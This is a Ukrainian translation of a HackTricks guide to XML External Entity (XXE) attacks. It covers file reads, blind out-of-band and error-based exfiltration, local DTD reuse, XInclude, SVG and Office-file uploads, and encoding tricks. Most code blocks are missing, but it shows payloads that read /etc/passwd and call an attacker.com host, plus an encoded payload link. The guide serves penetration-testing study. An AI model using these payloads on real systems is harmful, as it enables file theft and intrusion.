<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks**або**завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або**слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
XML - це мова розмітки, призначена для зберігання та транспортування даних, яка має гнучку структуру, що дозволяє використовувати описовані теги. Вона відрізняється від HTML тим, що не обмежується набором попередньо визначених тегів. Значення XML зменшилося з появою JSON, незважаючи на його початкову роль в технології AJAX.
* **Представлення даних через сутності**: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як `<` та `>`, які відповідають `<` та `>`, щоб уникнути конфліктів з системою тегів XML.
* **Визначення елементів XML**: XML дозволяє визначати типи елементів, описуючи, як повинні бути структуровані елементи та який вміст вони можуть містити, від будь-якого типу вмісту до конкретних дочірніх елементів.
* **Визначення типу документа (DTD)**: DTD є важливим у XML для визначення структури документа та типів даних, які він може містити. Вони можуть бути внутрішніми, зовнішніми або комбінованими, керуючи тим, як форматуються та перевіряються документи.
* **Власні та зовнішні сутності**: XML підтримує створення власних сутностей у DTD для гнучкого представлення даних. Зовнішні сутності, визначені за допомогою URL, викликають питання безпеки, особливо в контексті атак зовнішніх сутностей XML (XXE), які використовують спосіб обробки зовнішніх джерел даних XML-аналізаторами: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **Виявлення XXE за допомогою параметричних сутностей**: Для виявлення вразливостей XXE, особливо коли традиційні методи не працюють через заходи безпеки аналізатора, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати техніки виявлення поза мережею, такі як спрацювання DNS-запитів або HTTP-запитів на керований домен для підтвердження вразливості.
*`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
*`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
[**Більшість цих атак були протестовані за допомогою чудових лабораторій Portswiggers XEE: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
У додатках на основі **Java** можливо **переглянути вміст каталогу** через XXE за допомогою такого завантаження (просто запитуючи каталог замість файлу):
Використовуючи **раніше згадану техніку**, ви можете змусити сервер звертатися до сервера, яким ви керуєте, щоб показати його вразливість. Але, якщо це не працює, можливо, це через те, що **XML-сутності не дозволені**, у цьому випадку ви можете спробувати використати **XML-параметричні сутності**:
**У цьому випадку ми змусимо сервер завантажити новий DTD зі злоякісним навантаженням, яке відправить вміст файлу через запит HTTP (**для **файлів з кількома рядками ви можете спробувати вивести його через**_**ftp://**_ використовуючи цей базовий сервер, наприклад [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Це пояснення базується на** [**лабораторії Portswigger тут**](https://portswigger.net/web-security/xxe/blind)**.**
* Створюється XML параметрична сутність, `%file`, яка читає вміст файлу `/etc/hostname`.
* Інша XML параметрична сутність, `%eval`, визначається. Вона динамічно оголошує нову XML параметричну сутність, `%exfiltrate`. Сутність `%exfiltrate` встановлюється для виконання HTTP-запиту на сервер атакуючого, передаючи вміст сутності `%file`у рядку запиту URL.
2.**Виконання Сутностей:**
* Використовується сутність `%eval`, що призводить до виконання динамічного оголошення сутності `%exfiltrate`.
* Потім використовується сутність `%exfiltrate`, що викликає HTTP-запит на вказаний URL із вмістом файлу.
Цей вразливий код визначає XML параметричний об'єкт `%xxe` та включає його в DTD. При обробці XML-аналізатором цей код витягує зовнішній DTD з сервера зловмисника. Потім аналізатор інтерпретує DTD в режимі реального часу, виконуючи кроки, вказані в шкідливому DTD, що призводить до витікання файлу `/etc/hostname` на сервер зловмисника.
**У цьому випадку ми змусимо сервер завантажити шкідливий DTD, який покаже вміст файлу у повідомленні про помилку (це працює лише в разі, якщо ви можете бачити повідомлення про помилку).** [**Приклад тут.**](https://portswigger.net/web-security/xxe/blind)
Помилка розбору XML, яка розкриває вміст файлу `/etc/passwd`, може бути викликана за допомогою шкідливого зовнішнього визначення типу документа (DTD). Це досягається за допомогою наступних кроків:
1. Визначається XML параметричний об'єкт з ім'ям `file`, який містить вміст файлу `/etc/passwd`.
2. Визначається XML параметричний об'єкт з ім'ям `eval`, який включає динамічне визначення для іншого XML параметричного об'єкта з ім'ям `error`. Цей об'єкт `error`, при оцінці, намагається завантажити неіснуючий файл, включаючи вміст об'єкта `file` як його ім'я.
3. Викликається об'єкт `eval`, що призводить до динамічного визначення об'єкта `error`.
4. Викликання об'єкта `error` призводить до спроби завантажити неіснуючий файл, що призводить до повідомлення про помилку, яке містить вміст файлу `/etc/passwd` як частину імені файлу.
_**Зверніть увагу, що зовнішній DTD дозволяє нам включити один елемент всередині другого (****`eval`****), але це заборонено во внутрішньому DTD. Тому ви не можете викликати помилку без використання зовнішнього DTD (зазвичай).**_
У лазунці у специфікації мови XML може **розкрити чутливі дані через повідомлення про помилку, коли DTD документа поєднує внутрішні та зовнішні оголошення**. Ця проблема дозволяє внутрішнє перевизначення елементів, оголошених зовні, що сприяє виконанню атак XXE на основі помилок. Такі атаки використовують перевизначення параметрного елемента XML, спочатку оголошеного в зовнішньому DTD, з внутрішнього DTD. Коли сервер блокує зв'язки поза мережею, зловмисники повинні покладатися на локальні файли DTD для проведення атаки, спрямованої на викликання помилки розбору для розкриття чутливої інформації.
Припустимо, що файлова система сервера містить файл DTD за шляхом `/usr/local/app/schema.dtd`, який визначає елемент з назвою `custom_entity`. Зловмисник може викликати помилку розбору XML, розкриваючи вміст файлу `/etc/passwd`, надсилаючи гібридний DTD наступного вигляду:
* Визначення XML-параметрного об'єкта з іменем `local_dtd` включає зовнішній файл DTD, розташований на файловій системі сервера.
* Відбувається перевизначення параметрного об'єкта XML `custom_entity`, спочатку визначеного в зовнішньому DTD, для упакування [експлойту XXE на основі помилок](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Це перевизначення призначене для виклику помилки розбору, що викриває вміст файлу `/etc/passwd`.
* Використовуючи об'єкт `local_dtd`, залучається зовнішній DTD, охоплюючи ново визначений `custom_entity`. Ця послідовність дій призводить до виникнення повідомлення про помилку, на яке спрямований експлойт.
**Приклад з реального життя:** Системи, які використовують середовище робочого столу GNOME, часто мають DTD за шляхом `/usr/share/yelp/dtd/docbookx.dtd`, що містить об'єкт з іменем `ISOamso`.
Якщо ця техніка використовує **внутрішній DTD, спочатку потрібно знайти дійсний**. Це можна зробити, **встановивши** той самий **OS / Software**, який використовує сервер, і**пошукавши деякі типові DTD**, або**отримавши список****типових DTD** всередині систем та **перевірити**, чи існує хоча б один з них:
Крім того, якщо у вас є **образ Docker системи жертви**, ви можете використовувати інструмент з того ж репозиторію для **сканування****образу** та **знаходження** шляху **DTD**, які присутні всередині системи. Прочитайте [Readme репозиторію github](https://github.com/GoSecure/dtd-finder), щоб дізнатися як.
Для більш детального пояснення цього атаки, **перевірте другий розділ** [**цього дивовижного посту**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **від Detectify**.
Можливість **завантаження документів Microsoft Office пропонується багатьма веб-додатками**, які потім продовжують видобувати певні деталі з цих документів. Наприклад, веб-додаток може дозволяти користувачам імпортувати дані, завантажуючи таблицю у форматі XLSX. Для того, щоб парсер міг видобути дані з таблиці, йому необхідно буде розібрати принаймні один файл XML.
Для перевірки цієї вразливості необхідно створити **файл Microsoft Office, що містить навантаження XXE**. Першим кроком є створення порожнього каталогу, до якого можна розпакувати документ.
Після розпакування документа, файл XML, розташований за адресою `./unzipped/word/document.xml`, слід відкрити та відредагувати у вибраному текстовому редакторі (наприклад, vim). XML повинен бути змінений так, щоб включити бажане навантаження XXE, часто починаючи з запиту HTTP.
Протокол **jar** доступний виключно в межах **Java-додатків**. Він призначений для забезпечення доступу до файлів у**архіві PKZIP** (наприклад, `.zip`, `.jar`, тощо), обслуговування як локальних, так і віддалених файлів.
Для можливості доступу до файлів всередині файлів PKZIP **дуже корисно зловживати XXE через файли системи DTD.** Перевірте [цей розділ, щоб дізнатися, як зловживати файлами системи DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Цікавою технікою для переривання цього процесу на другому кроці є тримання відкритого підключення до сервера нескінченно довго при обслуговуванні файлу архіву. Інструменти, доступні в [цьому репозиторії](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution), можна використовувати для цієї цілі, включаючи сервер Python (`slow_http_server.py`) та сервер Java (`slowserver.jar`).
Запис файлів у тимчасовий каталог може допомогти **збільшити іншу вразливість, яка включає трансверсал шляху** (таку як локальне включення файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).
При інтеграції даних клієнта в серверні XML-документи, такі як ті, що містяться в запитах SOAP на боці сервера, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні атаки XXE через обмеження на зміну елемента `DOCTYPE`. Однак атака `XInclude` надає рішення, дозволяючи вставляти зовнішні сутності в будь-який елемент даних XML-документу. Цей метод ефективний навіть тоді, коли можна контролювати лише частину даних у створеному сервером XML-документі.
Для виконання атаки `XInclude` потрібно оголосити простір імен `XInclude` та вказати шлях до файлу для призначеної зовнішньої сутності. Нижче наведено лаконічний приклад того, як можна сформулювати таку атаку:
Файли, які користувачі завантажують до певних додатків, а потім обробляються на сервері, можуть використовувати вразливості у способі обробки XML або файлів, що містять XML. Розповсюджені формати файлів, такі як офісні документи (DOCX) та зображення (SVG), базуються на XML.
Коли користувачі **завантажують зображення**, ці зображення обробляються або перевіряються на сервері. Навіть для додатків, які очікують формати, такі як PNG або JPEG, **бібліотека обробки зображень сервера може також підтримувати зображення SVG**. SVG, як формат на основі XML, може бути використаний зловмисниками для надсилання шкідливих зображень SVG, тим самим викриваючи сервер на вразливості XXE (зовнішні сутності XML).
Уобох випадках формат SVG використовується для запуску атак, які використовують можливості обробки XML програмного забезпечення сервера, що підкреслює необхідність надійної перевірки введених даних та заходів безпеки.
**Зверніть увагу, що перший рядок прочитаного файлу або результату виконання з'явиться УСЕРЕДИНІ створеного зображення. Тому вам потрібно мати можливість отримати доступ до створеного SVG-зображення.**
Для зміни запиту ви можете використати розширення Burp під назвою "**Content Type Converter**". [Тут](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) ви можете знайти цей приклад:
Ви можете скористатися \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) перетворити на UTF-7.
Якщо веб-сайт використовує PHP, замість використання `file:/`, ви можете використовувати **php wrappers**`php://filter/convert.base64-encode/resource=` для **доступу до внутрішніх файлів**.
Хит від [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Ви можете створити **сутність всередині сутності**, кодуючи її за допомогою **html entities**, а потім викликати її для **завантаження dtd**.\
Зверніть увагу, що використані **HTML Entities** повинні бути **числовими** (як у цьому прикладі [тут](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)).
Цей приклад інспірований [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Localization Interchange File Format) використовується для стандартизації обміну даними в процесах локалізації. Це формат на основі XML, який використовується переважно для передачі локалізованих даних між інструментами під час локалізації та як загальний формат обміну для інструментів CAT (Computer-Aided Translation).
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
Цей підхід показує, що User Agent вказує на використання Java 1.8. Відомим обмеженням цієї версії Java є неможливість отримання файлів, що містять символ нового рядка, таких як /etc/passwd, за допомогою техніки Out of Band.
Екстракція даних на основі помилок Для подолання цього обмеження використовується підхід на основі помилок. Файл DTD має таку структуру, щоб викликати помилку, яка включає дані з цільового файлу:
Ця модифікація призводить до успішного витікання вмісту файлу, оскільки він відображається в вихідних даних про помилку, відправлених через HTTP. Це свідчить про успішну атаку XXE (зовнішні сутності XML), використовуючи як техніки Out of Band, так і на основі помилок, для вилучення чутливої інформації.
XMLDecoder - це клас Java, який створює об'єкти на основі XML-повідомлення. Якщо зловмисний користувач може змусити додаток використовувати довільні дані при виклику методу **readObject**, він миттєво отримає виконання коду на сервері.
* Вилучення інформації через HTTP за допомогою власного зовнішнього DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks**або**завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або**слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.